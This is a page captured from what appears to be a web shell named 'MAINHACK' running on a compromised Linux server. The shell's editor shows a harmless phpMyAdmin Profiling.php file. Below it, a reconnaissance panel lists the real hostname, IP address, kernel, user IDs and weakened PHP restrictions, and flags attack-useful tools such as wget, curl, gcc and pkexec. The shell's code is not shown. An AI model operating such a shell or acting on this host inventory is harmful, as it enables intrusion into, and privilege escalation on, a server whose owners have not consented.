[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Profiling.php
<?php declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\Utils\SessionCache; /** * Statement resource usage. */ final class Profiling { public static function isSupported(DatabaseInterface $dbi): bool { if (SessionCache::has('profiling_supported')) { return (bool) SessionCache::get('profiling_supported'); } /** * 5.0.37 has profiling but for example, 5.1.20 does not * (avoid a trip to the server for MySQL before 5.0.37) * and do not set a constant as we might be switching servers */ if ($dbi->fetchValue('SELECT @@have_profiling')) { SessionCache::set('profiling_supported', true); return true; } SessionCache::set('profiling_supported', false); return false; } public static function enable(DatabaseInterface $dbi): void { if (! isset($_SESSION['profiling']) || ! self::isSupported($dbi)) { return; } $dbi->query('SET PROFILING=1;'); } /** @return array<string, string>|null */ public static function getInformation(DatabaseInterface $dbi): ?array { if (! isset($_SESSION['profiling']) || ! self::isSupported($dbi)) { return null; } return $dbi->fetchResult('SHOW PROFILE;'); } /** * Check if profiling was requested and remember it. */ public static function check(DatabaseInterface $dbi, ResponseRenderer $response): void { if (isset($_REQUEST['profiling']) && self::isSupported($dbi)) { $_SESSION['profiling'] = true; } elseif (isset($_REQUEST['profiling_form'])) { // the checkbox was unchecked unset($_SESSION['profiling']); } if (! isset($_SESSION['profiling'])) { return; } $scripts = $response->getHeader()->getScripts(); $scripts->addFiles([ 'chart.js', 'vendor/jqplot/jquery.jqplot.js', 'vendor/jqplot/plugins/jqplot.pieRenderer.js', 'vendor/jqplot/plugins/jqplot.highlighter.js', 'vendor/jquery/jquery.tablesorter.js', ]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002